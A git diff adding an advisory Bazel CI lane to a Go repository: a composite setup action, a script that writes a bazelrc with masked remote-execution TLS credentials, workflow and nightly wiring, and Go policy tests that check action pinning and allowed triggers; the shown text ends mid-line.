.github/actions/setup-bazel/action.yml create mode 100644 .github/actions/setup-bazel/write-bazelrc.sh create mode 100644 .github/workflows/bazel.yml create mode 100644 tools/bazel/critpath.py create mode 100644 tools/bazel/equivalence.py create mode 100644 tools/bazel/equivalence_allowlist.txt diff --git a/.bazelrc b/.bazelrc index 34ccf6cd6..e4bb7e55a 100644 --- a/.bazelrc +++ b/.bazelrc @@ -32,6 +32,12 @@ test:prcore --test_tag_filters=-requires-docker,-embedded,-manual test:ci --config=prcore test:ci --keep_going --test_summary=terse +# tools/bazel/equivalence.py compares the Go tests Bazel ran with the ones +# `go test` would run, from each target's test.xml. rules_go only lists passing +# tests in test.xml under -test.v, and --remote_download_minimal would leave +# test.xml on the remote side, so ask for both. +test:ci --test_env=GO_TEST_WRAP_TESTV=1 +test:ci --remote_download_regex=.*/test\.xml$ # Docker lane: only the requires-docker targets (pr.yml's container-backed # jobs), on a host with a docker daemon. Race like those jobs, but no -short diff --git a/.github/actions/setup-bazel/action.yml b/.github/actions/setup-bazel/action.yml new file mode 100644 index 000000000..64e99b91f --- /dev/null +++ b/.github/actions/setup-bazel/action.yml @@ -0,0 +1,70 @@ +name: setup-bazel +description: > + Install a sha256-pinned Bazelisk (Bazel itself comes from .bazelversion), + restore the runner Bazel cache (--repository_cache and Bazelisk only), + and write a CI bazelrc outside the workspace. When the caller passes all of + BAZEL_REMOTE_EXECUTOR, RBE_TLS_CERT and RBE_TLS_KEY in the step env, that rc + enables --config=remote-exec for every bazel command; with none of them the + job runs locally (fork PRs); a partial set fails. `bazel` on PATH is a + wrapper that always passes the generated rc. +outputs: + remote: + description: '"true" when remote execution is configured' + value: ${{ steps.rc.outputs.remote }} + cache-restored: + description: '"true" when a runner Bazel cache was restored (any prefix match)' + value: ${{ steps.restore.outputs.cache-matched-key != '' }} + cache-hit: + description: '"true" when the cache for this .bazelversion and MODULE.bazel.lock was restored exactly' + value: ${{ steps.restore.outputs.cache-hit }} +runs: + using: composite + steps: + # Keyed on what determines its content; saved only by a push to main that + # missed the exact key (see the caller's "Save Bazel runner cache" step). + # A lock change restores the previous lock's entry, which still holds most + # of the downloads. + - name: Restore Bazel runner cache + id: restore + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ${{ runner.temp }}/bazel-ci-cache + key: bazel-repo-v2-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + restore-keys: | + bazel-repo-v2-${{ runner.os }}- + + - name: Install Bazelisk + shell: bash + run: | + set -euo pipefail + version=v1.29.0 + case "$(uname -m)" in + x86_64) arch=amd64; sha=5a408715e932c0250d28bd84555f12edbf70117de42f9181691c736eacc4a992 ;; + aarch64 | arm64) arch=arm64; sha=e20e8b0f4f240091b7a55bf17b9398bd4f40ee70ae0208dff95dd4c445fb4010 ;; + *) echo "setup-bazel: unsupported arch $(uname -m)" >&2; exit 1 ;; + esac + curl -fsSL --retry 3 --max-time 120 -o "$RUNNER_TEMP/bazelisk" \ + "https://github.com/bazelbuild/bazelisk/releases/download/${version}/bazelisk-linux-${arch}" + echo "${sha} $RUNNER_TEMP/bazelisk" | sha256sum -c - + sudo install -m 755 "$RUNNER_TEMP/bazelisk" /usr/local/bin/bazelisk + rm -f "$RUNNER_TEMP/bazelisk" + echo "BAZELISK_HOME=$RUNNER_TEMP/bazel-ci-cache/bazelisk" >> "$GITHUB_ENV" + + - name: Write CI bazelrc + id: rc + shell: bash + env: + BAZEL_CI_CACHE_DIR: ${{ runner.temp }}/bazel-ci-cache + BAZEL_CI_SECRET_DIR: ${{ runner.temp }}/bazel-ci-secret + run: bash "$GITHUB_ACTION_PATH/write-bazelrc.sh" + + - name: Install bazel wrapper + shell: bash + env: + RC: ${{ steps.rc.outputs.rc }} + run: | + set -euo pipefail + printf '%s\n' '#!/usr/bin/env bash' "exec /usr/local/bin/bazelisk --bazelrc=\"$RC\" \"\$@\"" > "$RUNNER_TEMP/bazel-wrapper" + sudo install -m 755 "$RUNNER_TEMP/bazel-wrapper" /usr/local/bin/bazel + rm -f "$RUNNER_TEMP/bazel-wrapper" + /usr/local/bin/bazelisk --version diff --git a/.github/actions/setup-bazel/write-bazelrc.sh b/.github/actions/setup-bazel/write-bazelrc.sh new file mode 100644 index 000000000..b95ac113d --- /dev/null +++ b/.github/actions/setup-bazel/write-bazelrc.sh @@ -0,0 +1,152 @@ +#!/usr/bin/env bash +# Write the CI bazelrc for .github/actions/setup-bazel. +# +# Always: --repository_cache under BAZEL_CI_CACHE_DIR (the directory the +# runner cache saves and restores). Never --disk_cache: remote runs have the +# remote cache, and a local run's disk cache (about 7 GB) would not fit next to +# its output base on a hosted runner. +# +# Remote execution only when all three of BAZEL_REMOTE_EXECUTOR, RBE_TLS_CERT +# and RBE_TLS_KEY are set (repo secrets; empty on fork PRs, so those runs stay +# local). Exactly one or two of them is a misconfiguration and fails. Optional: +# RBE_TLS_CA (base64 PEM CA bundle) and RBE_INSTANCE (instance name; a warning +# when empty, because the default instance may share its action cache with +# other repos on the same farm). Cert and key are base64-encoded PEM (raw PEM +# is accepted too). Every line of the decoded PEM is masked in the job log. +# +# CI uploads only remotely executed results (--noremote_upload_local_results): +# a job's locally executed actions (PR code included) never enter the shared +# action cache from here. Developer rcs keep Bazel's default. +# +# The rc and the key material go to BAZEL_CI_SECRET_DIR, which must be outside +# the workspace (tests that walk the checkout must never see an endpoint or a +# cert path) and outside BAZEL_CI_CACHE_DIR (the runner cache must never store +# credentials). The endpoint is masked in the job log. +# +# Outputs (to $GITHUB_OUTPUT when set, else stdout): rc=, remote=true|false. +set -euo pipefail + +cache_dir="${BAZEL_CI_CACHE_DIR:?BAZEL_CI_CACHE_DIR is required}" +secret_dir="${BAZEL_CI_SECRET_DIR:?BAZEL_CI_SECRET_DIR is required}" +workspace="${GITHUB_WORKSPACE:-$PWD}" + +abs() { mkdir -p "$1" && (cd "$1" && pwd -P); } +cache_dir="$(abs "$cache_dir")" +secret_dir="$(abs "$secret_dir")" +workspace="$(cd "$workspace" && pwd -P)" +case "$secret_dir/" in +"$workspace"/*) + echo "setup-bazel: BAZEL_CI_SECRET_DIR ($secret_dir) must be outside the workspace" >&2 + exit 1 + ;; +"$cache_dir"/*) + echo "setup-bazel: BAZEL_CI_SECRET_DIR must not be inside the cached BAZEL_CI_CACHE_DIR" >&2 + exit 1 + ;; +esac +chmod 700 "$secret_dir" +mkdir -p "$cache_dir/repo" + +mask() { + local v="${1:-}" + [[ -z "$v" ]] && return 0 + printf '::add-mask::%s\n' "$v" +} + +# Mask the endpoint and its bare host[:port]: Bazel prints bytestream:// URIs +# that carry the host without the scheme. +executor="${BAZEL_REMOTE_EXECUTOR:-}" +if [[ -n "$executor" ]]; then + mask "$executor" + hostport="${executor#*://}" + hostport="${hostport%%/*}" + mask "$hostport" + mask "${hostport%:*}" + # Bazel's connection errors print the resolved address ("host/1.2.3.4:443"). + if command -v getent >/dev/null 2>&1; then + while read -r addr _; do + mask "$addr" + done < <(getent ahosts "${hostport%:*}" 2>/dev/null | sort -u -k1,1) + fi +fi + +cert="${RBE_TLS_CERT:-}" +key="${RBE_TLS_KEY:-}" +ca="${RBE_TLS_CA:-}" +instance="${RBE_INSTANCE:-}" + +rc="$secret_dir/ci.bazelrc" +umask 077 +{ + echo "# Generated by .github/actions/setup-bazel; not a workspace file." + echo "common --repository_cache=$cache_dir/repo" +} >"$rc" + +# write_pem DEST VALUE: decode base64 (or accept raw PEM) and check it is PEM. +write_pem() { + local dest="$1" body="$2" + body="$(printf '%s' "$body" | tr -d '\r')" + if [[ "$body" != *"-----BEGIN "* ]]; then + if ! body="$(printf '%s' "$body" | tr -d '\n ' | base64 -d 2>/dev/null)"; then + echo "setup-bazel: $(basename "$dest") secret is neither PEM nor base64 PEM" >&2 + return 1 + fi + fi + if [[ "$body" != *"-----BEGIN "* ]]; then + echo "setup-bazel: $(basename "$dest") secret does not decode to PEM" >&2 + return 1 + fi + # GitHub masks the secret as stored (base64), not what it decodes to. + local line + while IFS= read -r line; do + [[ -z "$line" || "$line" == -----* ]] || mask "$line" + done <<<"$body" + printf '%s\n' "$body" >"$dest" + chmod 600 "$dest" +} + +set_fields=0 +for v in "$executor" "$cert" "$key"; do + [[ -n "$v" ]] && set_fields=$((set_fields + 1)) +done + +remote=false +if [[ "$set_fields" -eq 3 ]]; then + write_pem "$secret_dir/client.crt" "$cert" + write_pem "$secret_dir/client.key" "$key" + # Outside the rc block below: write_pem's mask commands go to the log. + if [[ -n "$ca" ]]; then + write_pem "$secret_dir/ca.crt" "$ca" + fi + { + echo "build:remote-exec --remote_executor=$executor" + echo "build:remote-exec --tls_client_certificate=$secret_dir/client.crt" + echo "build:remote-exec --tls_client_key=$secret_dir/client.key" + if [[ -n "$ca" ]]; then + echo "build:remote-exec --tls_certificate=$secret_dir/ca.crt" + fi + if [[ -n "$instance" ]]; then + echo "build:remote-exec --remote_instance_name=$instance" + fi + echo "build:remote-exec --noremote_upload_local_results" + # Every command in this job (test, run //:gazelle, query) uses the + # executor; the committed .bazelrc holds the generic remote-exec tuning. + echo "build --config=remote-exec" + } >>"$rc" + if [[ -z "$instance" ]]; then + echo "::warning title=RBE_INSTANCE not set::remote execution uses the executor's default instance, whose action cache other repos on the farm may share; set RBE_INSTANCE to a beads-only instance" + fi + remote=true + echo "setup-bazel: remote execution enabled" +elif [[ "$set_fields" -ne 0 ]]; then + echo "setup-bazel: remote execution is partially configured; BAZEL_REMOTE_EXECUTOR, RBE_TLS_CERT and RBE_TLS_KEY must be set together (or none, for local execution)" >&2 + exit 1 +else + echo "setup-bazel: no remote execution secrets; running locally" +fi + +out="${GITHUB_OUTPUT:-/dev/stdout}" +{ + echo "rc=$rc" + echo "remote=$remote" +} >>"$out" diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml new file mode 100644 index 000000000..5b8177056 --- /dev/null +++ b/.github/workflows/bazel.yml @@ -0,0 +1,250 @@ +# Bazel side-by-side lane (advisory). Runs `bazel test //... --config=ci`, the +# PR Core-parity selection (race, -short, dolt skip, -requires-docker), on the +# same commit as pr.yml's go test lanes. It is NOT in ci-gate's +# CI_GATE_REQUIRED; promotion needs the equivalence record described in +# tools/bazel/equivalence.py and a human decision. +# +# Execution mode, passed to .github/actions/setup-bazel: +# repo variable RBE_WEST_WORKERS=true plus secrets RBE_WEST_EXECUTOR (grpcs:// +# endpoint), RBE_TLS_CERT, RBE_TLS_KEY (base64; RBE_TLS_CA optional): +# remote execution on rbe-west, instance "oss" (shared with gascity). +# fork PRs and rbe=off dispatches: local execution, slower but the same +# results. Same-repo runs are skipped while RBE_WEST_WORKERS is unset. +# workflow_dispatch with rbe=off simulates a fork run. +# +# Accepted risk (same model as gascity's bazel-test.yml): on push, merge_group +# and same-repo pull_request runs, code from the PR head runs with the RBE +# client certificate. setup-bazel is itself PR code, the key file is readable +# by every later step and by locally executed Bazel actions, and a .bazelrc +# edit can point the BEP or the executor anywhere. Anyone who can push a +# branch here can therefore use or copy the certificate and write to the +# farm's cache. Fork PRs never get it: pull_request from a fork receives no +# secrets, this workflow has no pull_request_target trigger, and forks cannot +# write the runner cache. In place: secrets are referenced by the setup step +# alone and never by a workflow- or job-level env (policy-tested), decoded key +# material is masked in logs, and CI uploads only remotely executed results +# (--noremote_upload_local_results in the generated rc), and the certificate +# is issued to beads CI alone, so it can be revoked without affecting other +# clients. Maintainers decided (2026-09-28) that same-repo PRs keep remote +# execution under this model. Still open: a beads-only RBE_INSTANCE and +# farm-side denial of client action-cache writes. The lane is advisory and +# nothing downstream consumes artifacts built here. +# +# Runner cache: one entry per (.bazelversion, MODULE.bazel.lock) pair, about +# 2 GB (Bazel's --repository_cache plus Bazelisk's Bazel download), written +# only by a push to main that missed it. No --disk_cache: remote runs use the +# remote cache, and local runs would need about 7 GB more. +# +# Workflow-file changes suppress pull_request runs under the org approval +# policy; validate edits to this file with workflow_dispatch on the branch. +name: Bazel + +on: + pull_request: + branches: [ main, 'release/**' ] + merge_group: + push: + branches: [ main ] + workflow_dispatch: + inputs: + rbe: + description: "Remote execution: on (use secrets) or off (fork simulation)" + required: true + type: choice + default: "on" + options: [ "on", "off" ] + details: + description: "List every equivalence divergence" + required: false + type: boolean + default: false + workflow_call: + inputs: + rbe: + type: string + required: false + default: "on" + details: + type: boolean + required: false + default: true + go-test-json-artifact: + description: > + Artifact (from the calling run) holding go-test.json, PR Core's + `go-test -json` on this commit; enables the equivalence skip-parity + check. nightly.yml sets it. + type: string + required: false + default: "" + +# Main runs always finish (they may save the runner cache); PR runs supersede. +concurrency: + group: bazel-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: ${{ github.event_name == 'pull_request' }} + +permissions: + contents: read + +env: + BD_DISABLE_METRICS: "1" + BD_DISABLE_EVENT_FLUSH: "1" + # Phase B report-only budget for T1/T2 (tools/bazel/critpath.py). + BAZEL_BUDGET_SECONDS: "420" + +jobs: + bazel-test: + name: Bazel / test (advisory) + # Remote-execution runs use the org's Blacksmith pool (the farm's edge + # admits it; GitHub-hosted runners are refused) and do not count against + # GitHub's concurrent-job cap. Fork PRs and rbe=off have no remote + # executor and build everything locally, so they get the larger + # GitHub-hosted runner. + runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + # Remote execution goes to rbe-west (instance "oss", the Blacksmith-backed + # worker pool shared with gascity), switched on by the repo variable + # RBE_WEST_WORKERS. Until it is set, only fork PRs and rbe=off dispatches + # run (locally); same-repo runs are skipped rather than failing on an + # unreachable executor. + if: ${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }} + timeout-minutes: 100 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + # Go is for tools/bazel/equivalence.py's `go list` and for make; Bazel + # uses its own hermetic SDK. + - name: Set up Go + id: setup-go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + # Read-only: main.yml's build-artifacts job owns this cache. + - name: Restore Go module cache + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/go/pkg/mod + key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} + restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} + + # T1: remote + restored repository cache; T2: remote, cold runner; local: + # no remote execution (reported, never budgeted). + - name: Measurement tier + id: tier + env: + REMOTE: ${{ steps.bazel.outputs.remote }} + RESTORED: ${{ steps.bazel.outputs.cache-restored }} + run: | + if [ "$REMOTE" = "true" ] && [ "$RESTORED" = "true" ]; then tier=T1 + elif [ "$REMOTE" = "true" ]; then tier=T2 + else tier=local; fi + echo "tier=$tier" >> "$GITHUB_OUTPUT" + { + echo "### Bazel / test (advisory)" + echo + echo "Tier **$tier**: remote execution $REMOTE, runner cache restored $RESTORED." + echo + } >> "$GITHUB_STEP_SUMMARY" + + # --profile and --build_event_json_file are command options, so they go + # after `test` (a startup position fails). + - name: bazel test //... --config=ci + id: test + timeout-minutes: 90 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=ci \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + echo >> "$GITHUB_STEP_SUMMARY" + exit "$rc" + + - name: Critical-path report + if: ${{ always() && steps.test.outcome != 'skipped' }} + env: + TIER: ${{ steps.tier.outputs.tier }} + run: | + budget=() + if [ "$TIER" != "local" ]; then budget=(--budget "$BAZEL_BUDGET_SECONDS"); fi + python3 tools/bazel/critpath.py "$RUNNER_TEMP/bazel-profile.json" \ + --tier "$TIER" --log "$RUNNER_TEMP/bazel-test.log" "${budget[@]}" + + # nightly.yml's PR Core `go test -json` on the same commit. + - name: Download go-test results + if: ${{ always() && inputs.go-test-json-artifact != '' && steps.test.outcome != 'skipped' }} + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 + with: + name: ${{ inputs.go-test-json-artifact }} + path: ${{ runner.temp }}/go-test-json + + # Fails on any Go test that `go test` runs and Bazel did not (tag filter, + # manual, missing target, empty shard) unless it is allowlisted. With + # go test results (nightly) it also fails on tests that passed under go + # test and were skipped under Bazel; a PR run cannot see those. + - name: Go test equivalence + if: ${{ always() && steps.test.outcome != 'skipped' }} + timeout-minutes: 15 + env: + DETAILS: ${{ inputs.details && '--details' || '' }} + GO_TEST_JSON: ${{ inputs.go-test-json-artifact != '' && format('{0}/go-test-json/go-test.json', runner.temp) || '' }} + run: | + args=() + if [ -n "$DETAILS" ]; then args+=("$DETAILS"); fi + if [ -n "$GO_TEST_JSON" ]; then args+=(--go-test-json "$GO_TEST_JSON"); fi + python3 tools/bazel/equivalence.py --bep "$RUNNER_TEMP/bazel-bep.json" "${args[@]}" + + # Runs last: it rewrites BUILD files in the checkout. main moves BUILD + # inputs (imports, go.mod) without touching Bazel, so drift shows up here + # first. + - name: BUILD files in sync (gazelle, go_srcs, MODULE.bazel) + if: ${{ always() && steps.bazel.outcome == 'success' }} + timeout-minutes: 15 + run: | + start=$(date +%s) + make bazel-sync-check + make bazel-sync + drift="$(git status --porcelain --untracked-files=all)" + echo "BUILD sync check: $(( $(date +%s) - start ))s" >> "$GITHUB_STEP_SUMMARY" + if [ -n "$drift" ]; then + echo "::error title=Bazel BUILD files out of sync::run 'make bazel-sync' and commit the result" + echo "$drift" + git diff | head -200 + echo "BUILD files **out of sync**; run \`make bazel-sync\` and commit the result." >> "$GITHUB_STEP_SUMMARY" + exit 1 + fi + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome == 'failure' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + + # Only a push to main that missed the exact key writes the runner cache. + # Its content (--repository_cache and Bazelisk's download, never the rc + # or credentials) is fixed by .bazelversion and MODULE.bazel.lock, so one + # entry per lock is enough and later pushes do not churn the quota. + - name: Save Bazel runner cache + if: ${{ always() && github.event_name == 'push' && github.ref == 'refs/heads/main' && steps.bazel.outcome == 'success' && steps.bazel.outputs.cache-hit != 'true' }} + uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ${{ runner.temp }}/bazel-ci-cache + key: bazel-repo-v2-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 86a13223d..a38d97da5 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -26,6 +26,7 @@ on: - nix - mcp-package - npm-package + - bazel smoke_version: description: "Optional previous release for cross-version-smoke" required: false @@ -38,12 +39,75 @@ env: jobs: measure: name: Measure selected CI suite - if: ${{ github.event_name == 'workflow_dispatch' && inputs.suite != 'full-test' }} + if: ${{ github.event_name == 'workflow_dispatch' && inputs.suite != 'full-test' && inputs.suite != 'bazel' }} uses: ./.github/workflows/ci-measurements.yml with: suite: ${{ inputs.suite }} smoke_version: ${{ inputs.smoke_version }} + # PR Core's go test (scripts/ci/pr-core.sh) with -json output, so the Bazel + # job below can compare per-test status: a test that passes here and skips + # under Bazel fails the equivalence check unless allowlisted. + bazel-go-test-json: + name: Bazel equivalence (go-test side) + if: ${{ github.event_name == 'schedule' || inputs.suite == 'bazel' }} + runs-on: ubuntu-latest + timeout-minutes: 60 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Go + id: setup-go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + - name: Restore Go module cache + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/go/pkg/mod + key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} + restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- + + - name: Install Dolt + run: ./scripts/ci/install-dolt.sh + + - name: Configure Git and Dolt identity + run: | + git config --global user.name "CI Bot" + git config --global user.email "ci@beads.test" + dolt config --global --add user.name "CI Bot" + dolt config --global --add user.email "ci@beads.test" + + - name: Run PR core go-test (JSON) + env: + BEADS_PR_CORE_GO_TEST_JSON: ${{ runner.temp }}/go-test.json + run: make ci-pr-core + + # Uploaded even when tests fail: the status comparison still applies. + - name: Upload go-test results + if: ${{ always() }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-equivalence-go-test-json + path: ${{ runner.temp }}/go-test.json + if-no-files-found: error + retention-days: 7 + + # Bazel lane with the full go test equivalence listing and the skip-parity + # check (advisory, like the PR run). Remote execution when the repo secrets + # are present. + bazel: + name: Bazel equivalence (full detail) + needs: bazel-go-test-json + if: ${{ !cancelled() && (github.event_name == 'schedule' || inputs.suite == 'bazel') }} + uses: ./.github/workflows/bazel.yml + secrets: inherit + with: + details: true + go-test-json-artifact: bazel-equivalence-go-test-json + full-test: name: Full Test Suite if: ${{ github.event_name == 'schedule' || inputs.suite == 'full-test' }} diff --git a/internal/storage/domain/fs/context_test.go b/internal/storage/domain/fs/context_test.go index 2af641c3c..f6d7386b4 100644 --- a/internal/storage/domain/fs/context_test.go +++ b/internal/storage/domain/fs/context_test.go @@ -258,6 +258,15 @@ func TestContextRepository_RepoContextAndRole(t *testing.T) { require.NoError(t, os.MkdirAll(beadsDir, 0o750)) require.NoError(t, os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte("{}"), 0o600)) + // Run from a second, unrelated git repo so BEADS_DIR is external to the + // CWD repo. Relying on the test's own CWD being inside a checkout breaks + // under Bazel, whose runfiles tree is not a git repository. + cwdRepo := t.TempDir() + cmd = exec.Command("git", "init") + cmd.Dir = cwdRepo + require.NoError(t, cmd.Run()) + t.Chdir(cwdRepo) + t.Setenv("BEADS_DIR", beadsDir) beads.ResetCaches() git.ResetCaches() diff --git a/scripts/ci/pr-core.sh b/scripts/ci/pr-core.sh index d4475239c..f36eb1d1f 100755 --- a/scripts/ci/pr-core.sh +++ b/scripts/ci/pr-core.sh @@ -30,5 +30,15 @@ GO_TEST_PARALLEL="${GO_TEST_PARALLEL:-4}" # main.yml's integration package and cmd/bd shards, ci-measurements.yml, # nightly.yml. Splitting or de-slowing cmd/bd is the real fix and belongs on main # — this only stops the clock from being the thing that fails. +# BEADS_PR_CORE_GO_TEST_JSON=: same run, `go test -json` output to +# (nightly.yml feeds it to tools/bazel/equivalence.py --go-test-json). +go_test() { + if [[ -n "${BEADS_PR_CORE_GO_TEST_JSON:-}" ]]; then + go test -json "$@" >"$BEADS_PR_CORE_GO_TEST_JSON" + else + go test "$@" + fi +} + ci_time "pr-core go test" -- \ - go test -p "$GO_TEST_PKG_PARALLEL" -parallel "$GO_TEST_PARALLEL" -race -short -timeout=30m -skip '^TestEmbedded' ./... + go_test -p "$GO_TEST_PKG_PARALLEL" -parallel "$GO_TEST_PARALLEL" -race -short -timeout=30m -skip '^TestEmbedded' ./... diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index ba46d89f9..5d700bc22 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1,11 +1,14 @@ package scripts_test import ( + "encoding/base64" "fmt" "os" + "os/exec" "path/filepath" "reflect" "regexp" + "sort" "strings" "testing" @@ -1414,3 +1417,521 @@ func captureOne(t *testing.T, pattern, body, source string) string { } return matches[1] } + +// --- Bazel lane (.github/workflows/bazel.yml, advisory) ---------------------- + +const ( + bazelWorkflowName = "bazel.yml" + bazelJobName = "bazel-test" + setupBazelActionDir = ".github/actions/setup-bazel" + uploadArtifactSHA = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" + downloadArtifactSHA = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c" + checkoutSHA = "3d3c42e5aac5ba805825da76410c181273ba90b1" + bazelCacheKeyPrefix = "bazel-repo-v2-${{ runner.os }}-" + bazelCacheKey = bazelCacheKeyPrefix + "${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }}" + bazelCachePath = "${{ runner.temp }}/bazel-ci-cache" + // Save only from a push to main that missed the exact key: the content is + // fixed by the key, so re-saving every push only churns the quota. + bazelCacheSaveIf = "${{ always() && github.event_name == 'push' && github.ref == 'refs/heads/main' && " + + "steps.bazel.outcome == 'success' && steps.bazel.outputs.cache-hit != 'true' }}" +) + +// The only triggers bazel.yml may have. pull_request_target (and +// workflow_run) would run with secrets in the context of fork PRs. +var bazelWorkflowTriggers = []string{"merge_group", "pull_request", "push", "workflow_call", "workflow_dispatch"} + +type ciCompositeAction struct { + Runs struct { + Using string `yaml:"using"` + Steps []ciWorkflowStep `yaml:"steps"` + } `yaml:"runs"` +} + +func readSetupBazelAction(t *testing.T) ciCompositeAction { + t.Helper() + path := filepath.Join(sourceRepoRoot(t), setupBazelActionDir, "action.yml") + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + var action ciCompositeAction + if err := yaml.Unmarshal(data, &action); err != nil { + t.Fatalf("parse %s: %v", path, err) + } + if action.Runs.Using != "composite" { + t.Fatalf("%s runs.using = %q, want composite", path, action.Runs.Using) + } + return action +} + +// The Bazel lane is advisory until the equivalence record and a human promote +// it: no ci-gate may need it or list it in CI_GATE_REQUIRED. +func TestBazelWorkflowIsAdvisory(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + if len(workflow.Jobs) != 1 { + t.Errorf("%s jobs = %d, want only %q", bazelWorkflowName, len(workflow.Jobs), bazelJobName) + } + job := workflow.job(t, bazelJobName) + // The farm admits the Blacksmith pool only; forks (no secrets) and rbe=off + // build locally on the GitHub-hosted runner. + if want := "${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}"; job.RunsOn != want { + t.Errorf("%s runs-on = %q, want %q", bazelJobName, job.RunsOn, want) + } + if job.ContinueOnError { + t.Errorf("%s continue-on-error hides failures; the lane is advisory by staying out of ci-gate", bazelJobName) + } + for _, name := range []string{"pr.yml", "pr-risk.yml"} { + for jobName, j := range readCIWorkflow(t, name).Jobs { + for _, need := range j.Needs { + if strings.Contains(strings.ToLower(need), "bazel") { + t.Errorf("%s job %q needs %q; the Bazel lane is advisory", name, jobName, need) + } + } + for _, step := range j.Steps { + for key, value := range step.Env { + if strings.Contains(strings.ToUpper(key), "BAZEL") || + (key == "CI_GATE_REQUIRED" && strings.Contains(strings.ToUpper(value), "BAZEL")) { + t.Errorf("%s job %q step %q env %s=%q wires the Bazel lane into a gate", name, jobName, step.Name, key, value) + } + } + } + } + } +} + +// Every action in the Bazel lane is pinned to a full commit SHA, with the same +// released SHAs the Go lanes use, and the monolithic actions/cache is banned +// here too (restore everywhere, save only where the topology says). +func TestBazelWorkflowActionsArePinned(t *testing.T) { + steps := map[string][]ciWorkflowStep{ + bazelWorkflowName: readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName).Steps, + setupBazelActionDir + "/action.yml": readSetupBazelAction(t).Runs.Steps, + } + want := map[string]string{ + "actions/checkout": checkoutSHA, + setupGoActionFamily: setupGoSHA, + cacheRestoreActionFamily: cacheSHA, + cacheSaveActionFamily: cacheSHA, + "actions/upload-artifact": uploadArtifactSHA, + "actions/download-artifact": downloadArtifactSHA, + } + for file, list := range steps { + for _, step := range list { + if step.Uses == "" || strings.HasPrefix(step.Uses, "./") { + continue + } + family, sha, found := strings.Cut(step.Uses, "@") + if !found || !actionPin.MatchString(sha) { + t.Errorf("%s step %q action %q is not pinned to a 40-hex commit SHA", file, step.Name, step.Uses) + continue + } + if isForbiddenGoCacheActionFamily(family) { + t.Errorf("%s step %q uses forbidden monolithic %q; use actions/cache/restore and /save", file, step.Name, family) + continue + } + wantSHA, known := want[family] + if !known { + t.Errorf("%s step %q uses %q, which this policy does not know; add its released SHA here", file, step.Name, family) + } else if sha != wantSHA { + t.Errorf("%s step 